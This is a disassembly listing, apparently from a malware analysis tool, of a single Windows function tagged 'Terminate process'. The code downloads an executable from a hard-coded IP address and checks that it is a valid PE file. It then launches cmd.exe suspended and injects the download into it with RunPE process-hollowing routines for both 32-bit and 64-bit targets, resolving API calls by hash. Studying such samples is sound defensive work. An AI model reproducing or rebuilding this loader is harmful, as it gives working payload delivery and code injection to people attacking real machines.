Function at 0x140001530
Capabilities:
Terminate process

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x108
lea rcx, str.http:__34.31.103.70_1805.exe
call sym.GetDownloadFileContent_char_const_
mov rbx, rax
test rax, rax
je 0x1400017ce
mov rcx, rax
call sym.IsValidPE_void_
test eax, eax
je 0x140001920
lea rsi, [0x14000b01d]
mov edx, 0xd5e234b4
lea rdi, [rsp + 0x98]
mov rcx, rsi
lea rbp, [rsp + 0x90]
lea r12, [rsp + 0x70]
call sym.printf_char_const__::_
xor eax, eax
mov ecx, 0xc
pxor xmm0, xmm0
mov qword [rsp + 0x94], 0
mov edx, 0xe2fa9f84
mov qword [rsp + 0xf0], 0
rep stosq qword [rdi], rax
lea rcx, [0x14000b021]
movups xmmword [rsp + 0x70], xmm0
mov dword [rsp + 0x90], 0x68
mov qword [rsp + 0x80], 0
call sym.m_GetProcAddressEx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x48], r12
lea rcx, str.C:WindowsSystem32cmd.exe
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call rax
test eax, eax
je 0x1400017c3
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x6c]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
mov r10d, dword [rsp + 0x6c]
lea rcx, [rsp + 0x50]
mov rdx, r12
test r10d, r10d
jne 0x1400017a0
call sym.GetProcessAddressInformation64__PROCESS_INFORMATION_
cmp qword [rsp + 0x50], 0
mov r13, qword [rsp + 0x58]
je 0x1400017b6
test r13, r13
je 0x1400017b6
mov rcx, rbx
call sym.IsPE32_void_
mov edi, eax
test eax, eax
je 0x1400017d8
mov edx, 0xcce6356c
mov rcx, rsi
call sym.printf_char_const__::_
mov r9d, dword [rsp + 0x6c]
test r9d, r9d
je 0x1400018f8
mov edx, 0xe55ead10
mov rcx, rsi
call sym.printf_char_const__::_
mov ecx, dword [rsp + 0x6c]
test ecx, ecx
je 0x140001950
mov edx, 0x3074f8d9
mov rcx, rsi
call sym.printf_char_const__::_
mov rcx, rbx
call sym.GetSubsytem32_void_
mov ebp, eax
cmp ebp, 0xffffffff
je 0x140001962
mov eax, dword [rsp + 0x6c]
mov rcx, qword [rsp + 0x70]
mov rdx, r13
test eax, eax
je 0x140001830
call sym.GetSubsystemEx32_void__void_
cmp eax, 0xffffffff
je 0x14000196c
cmp ebp, eax
jne 0x140001910
mov edx, 0xdc307682
mov rcx, rsi
call sym.printf_char_const__::_
test edi, edi
je 0x140001840
mov rcx, rbx
call sym.HasRelocation32_void_
test eax, eax
je 0x1400018b8
mov edx, 0xef8f1585
mov rcx, rsi
call sym.printf_char_const__::_
mov rdx, rbx
mov rcx, r12
call sym.RunPEReloc32__PROCESS_INFORMATION__void_
test eax, eax
jne 0x14000186c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140001766
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x140001786
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x108
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
call sym.GetProcessAddressInformation32__PROCESS_INFORMATION_
cmp qword [rsp + 0x50], 0
mov r13, qword [rsp + 0x58]
jne 0x140001664
mov edx, 0x1daa21c8
mov rcx, rsi
call sym.printf_char_const__::_
mov rdx, rbx
mov rcx, r12
call sym.CleanAndExitProcess__PROCESS_INFORMATION__void_
mov eax, 0xffffffff
jmp 0x140001788
mov edx, 0xeed97c50
mov rcx, rsi
call sym.printf_char_const__::_
mov r8d, dword [rsp + 0x6c]
test r8d, r8d
je 0x1400018e0
mov edx, 0xe55ead10
mov rcx, rsi
call sym.printf_char_const__::_
mov edx, dword [rsp + 0x6c]
test edx, edx
jne 0x140001950
mov edx, 0x3074f8d9
mov rcx, rsi
call sym.printf_char_const__::_
mov rcx, rbx
call sym.GetSubsytem64_void_
mov ebp, eax
jmp 0x1400016ca
call sym.GetSubsystemEx64_void__void_
jmp 0x1400016ec
mov rcx, rbx
call sym.HasRelocation64_void_
test eax, eax
jne 0x140001890
mov edx, 0xf7cb116f
mov rcx, rsi
call sym.printf_char_const__::_
mov rdx, rbx
mov rcx, r12
call sym.RunPE64__PROCESS_INFORMATION__void_
test eax, eax
je 0x140001742
mov rcx, rsi
mov edx, 0xe9cd3d38
call sym.printf_char_const__::_
mov rdx, rbx
mov rcx, r12
call sym.CleanProcess__PROCESS_INFORMATION__void_
jmp 0x140001786
mov edx, 0xef8f1585
mov rcx, rsi
call sym.printf_char_const__::_
mov rdx, rbx
mov rcx, r12
call sym.RunPEReloc64__PROCESS_INFORMATION__void_
test eax, eax
je 0x140001742
jmp 0x14000186c
mov edx, 0xf7cb116f
mov rcx, rsi
call sym.printf_char_const__::_
mov rdx, rbx
mov rcx, r12
call sym.RunPE32__PROCESS_INFORMATION__void_
test eax, eax
je 0x140001742
jmp 0x14000186c
mov edx, 0xcbb729ed
mov rcx, rsi
call sym.printf_char_const__::_
jmp 0x140001800
mov edx, 0xcbb729ed
mov rcx, rsi
call sym.printf_char_const__::_
jmp 0x1400016a7
mov edx, 0xd84501eb
jmp 0x1400017bb
mov edx, 0xfb895cb3
lea rcx, [0x14000b01d]
call sym.printf_char_const__::_
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400017ce
mov edx, 0x1d70b05b
mov rcx, rsi
call sym.printf_char_const__::_
jmp 0x1400017ce
mov edx, 0xebd690b3
jmp 0x1400017bb
mov edx, 0xeb71bf8d
jmp 0x1400017bb